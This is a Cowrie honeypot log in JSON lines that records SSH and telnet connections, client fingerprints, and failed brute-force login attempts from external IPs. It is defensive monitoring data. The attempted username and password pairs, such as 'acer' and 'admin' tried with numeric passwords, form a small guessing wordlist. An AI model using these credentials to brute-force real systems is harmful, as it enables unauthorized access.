{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:40:49.531793Z","src_ip":"159.203.92.129","session":"5894f259462c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01818656921387,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:06.220248Z","src_ip":"89.43.134.59","session":"cd9ee7c14ca4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58986,"dst_ip":"159.203.135.109","dst_port":22,"session":"da49771141e9","protocol":"ssh","message":"New connection: 159.203.92.129:58986 (159.203.135.109:22) [session: da49771141e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:31.082837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:31.088460Z","src_ip":"159.203.92.129","session":"da49771141e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:31.093408Z","src_ip":"159.203.92.129","session":"da49771141e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"11111","message":"login attempt [acer/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:31.105898Z","src_ip":"159.203.92.129","session":"da49771141e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:32.115704Z","src_ip":"159.203.92.129","session":"da49771141e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25515,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ed7b4e76d83","protocol":"ssh","message":"New connection: 2.57.121.112:25515 (10.17.0.5:22) [session: 1ed7b4e76d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:55.735859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:55.741464Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:55.839327Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19mtpgam19","message":"login attempt [admin/19mtpgam19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:56.282025Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19992000","message":"login attempt [admin/19992000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:57.386834Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"199000","message":"login attempt [admin/199000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:58.491098Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"198989","message":"login attempt [admin/198989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:41:59.594872Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"198585","message":"login attempt [admin/198585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:00.699729Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:01.805991Z","src_ip":"2.57.121.112","session":"1ed7b4e76d83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44936,"dst_ip":"159.203.135.109","dst_port":22,"session":"af7a9e0119fb","protocol":"ssh","message":"New connection: 159.203.92.129:44936 (159.203.135.109:22) [session: af7a9e0119fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:15.489173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:15.493169Z","src_ip":"159.203.92.129","session":"af7a9e0119fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:15.496571Z","src_ip":"159.203.92.129","session":"af7a9e0119fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"111111","message":"login attempt [acer/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:15.505889Z","src_ip":"159.203.92.129","session":"af7a9e0119fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:42:16.512874Z","src_ip":"159.203.92.129","session":"af7a9e0119fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"205a1191c829","protocol":"ssh","message":"New connection: 159.203.92.129:41754 (159.203.135.109:22) [session: 205a1191c829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:00.622319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:00.627682Z","src_ip":"159.203.92.129","session":"205a1191c829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:00.633683Z","src_ip":"159.203.92.129","session":"205a1191c829","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"123","message":"login attempt [acer/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:00.649830Z","src_ip":"159.203.92.129","session":"205a1191c829","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:01.656947Z","src_ip":"159.203.92.129","session":"205a1191c829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.175.135.5","src_port":46746,"dst_ip":"159.203.135.109","dst_port":23,"session":"35bcceab377b","protocol":"telnet","message":"New connection: 179.175.135.5:46746 (159.203.135.109:23) [session: 35bcceab377b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:11.766029Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35248,"dst_ip":"159.203.135.109","dst_port":22,"session":"310384533ede","protocol":"ssh","message":"New connection: 159.203.92.129:35248 (159.203.135.109:22) [session: 310384533ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.213000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.217369Z","src_ip":"159.203.92.129","session":"310384533ede","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.222182Z","src_ip":"159.203.92.129","session":"310384533ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"1234","message":"login attempt [acer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.231534Z","src_ip":"159.203.92.129","session":"310384533ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.108","src_port":56324,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9d3249885aa","protocol":"ssh","message":"New connection: 14.103.112.108:56324 (10.17.0.5:22) [session: b9d3249885aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.693095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.697452Z","src_ip":"14.103.112.108","session":"b9d3249885aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:45.911827Z","src_ip":"14.103.112.108","session":"b9d3249885aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:43:46.238230Z","src_ip":"159.203.92.129","session":"310384533ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53334,"dst_ip":"159.203.135.109","dst_port":22,"session":"fad06c315488","protocol":"ssh","message":"New connection: 159.203.92.129:53334 (159.203.135.109:22) [session: fad06c315488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:44:29.388773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:44:29.391752Z","src_ip":"159.203.92.129","session":"fad06c315488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:44:29.395376Z","src_ip":"159.203.92.129","session":"fad06c315488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"acer","password":"12345","message":"login attempt [acer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:44:29.404559Z","src_ip":"159.203.92.129","session":"fad06c315488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:44:30.410304Z","src_ip":"159.203.92.129","session":"fad06c315488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.135.11.52","src_port":38626,"dst_ip":"10.17.0.5","dst_port":22,"session":"f365fbd70967","protocol":"ssh","message":"New connection: 183.135.11.52:38626 (10.17.0.5:22) [session: f365fbd70967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:04.245327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:45:04.250258Z","src_ip":"183.135.11.52","session":"f365fbd70967","protocol":"ssh"}
